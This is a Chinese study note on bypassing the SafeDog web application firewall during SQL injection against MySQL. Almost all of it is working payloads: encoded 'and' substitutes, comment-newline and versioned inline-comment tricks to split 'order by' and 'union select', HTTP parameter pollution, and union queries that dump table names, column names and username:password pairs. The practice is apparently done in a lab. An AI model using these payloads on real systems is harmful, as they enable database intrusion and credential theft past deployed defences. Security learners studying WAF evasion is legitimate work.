SQL注入bypass学习
0x00 前言
练习sql注入过程中经常会遇到一些WAF的拦截,在网上找相关文章进行学习,并通过利用安全狗来练习Mysql环境下的bypass。
0x01 一些特殊字符
1.注释符号
/*!*/:内联注释,/*!12345union*/select等效union select /**/:注释符号,/*/**/等效于/**/ -- +:--空格加任意字符 ;%00
2.其他符号
%23%0a:注释换行符 &、&&、|、||:逻辑操作符``:反引号
0x02 安全狗版本
版本:网站安全狗(Apache版) 4.0.26550
0x03 and绕过
首先测试语句and 1=1拦截情况
and //不拦截 and 1=1 //拦截 and 1 //拦截 and a //不拦截 and ‘a’ //拦截
经测试发现and后面跟数字型或字符型时会被拦截
绕过方法有两种
1.使用其他字符替换and
使用&的url编码%26替换and进行绕过
2.使用-1=-1和-1=-2替换绕过
可能对负数没做限制,也可能是 – 绕过了正则匹配
and -1=-1-- + and -1=-2-- +
0x04 绕过order by拦截
order //不拦截 by //不拦截 order by //拦截
经过测试,此处有三种方法可以绕过:
1.注释换行绕过
order--%0aby //拦截——了解到这是最初的姿势,不过现已经失效 order%23%0aby //不拦截——%23:注释符,%0a换行符
2.内联注释加参数污染绕过
order /*!by*/ 拦截 order/*!/*55555*/by*/ 拦截 order/*!/*!50553*/by*/ 拦截 order/*!/*!50553test*/by*/ 不拦截但报错 order/*!/*!50554test*/by*/ 不拦截
数字加字母组合可绕过,经fuzz测试,当数字大于50553时不报错
3.hpp参数污染绕过
在跟服务器交互的过程中,http允许 get 或者post多次传同一参数值,造成覆盖达到一些绕过waf的效果。在php/apache 中,它总解析最后一个id
?id=1‘ /*&id=1‘order by 3-- +*/
0x05 绕过union select拦截
1.注释换行加参数污染绕过
单纯使用注释换行符被拦截,经测试在注释符和换行符间加任意数字字母字符绕过
union%23a%0aselect 1,2,3-- +
2.内联注释加参数绕过
同order by 绕过
3.hpp参数污染绕过
同order by 绕过
?id=1‘ /*&id=‘union select 1,database(),3-- +*/
0x06 database()拦截绕过
直接联合查询database()会被拦截
1.联合查询绕过
/*!database()*/ 拦截 database/*!()*/ 不拦截 database/*!(*/) 不拦截
2.hpp参数污染的语句中直接查询
后续查询均可使用此方法绕过
0x07 查表名、列名、字段拦截绕过
经过测试,可以使用两种方法绕过
1.内联注释
对table_name、column_name和字段名使用内联注释绕过限制
union%23a%0aselect 1,group_concat(/*!table_name*/),3 from information_schema.tables where table_schema="security"-- +union%23a%0aselect 1,group_concat(/*!column_name*/),3 from information_schema.columns where table_name="users"-- +union%23a%0aselect 1,2,group_concat(/*!username*/,":",password) from users-- +union%23a%0aselect 1,2,group_concat(username,":",/*!password*/) from users-- +
2.反引号
对information_schema使用反引号绕过
union%23a%0aselect 1,group_concat(table_name),3 from `information_schema`.tables where table_schema="security"--+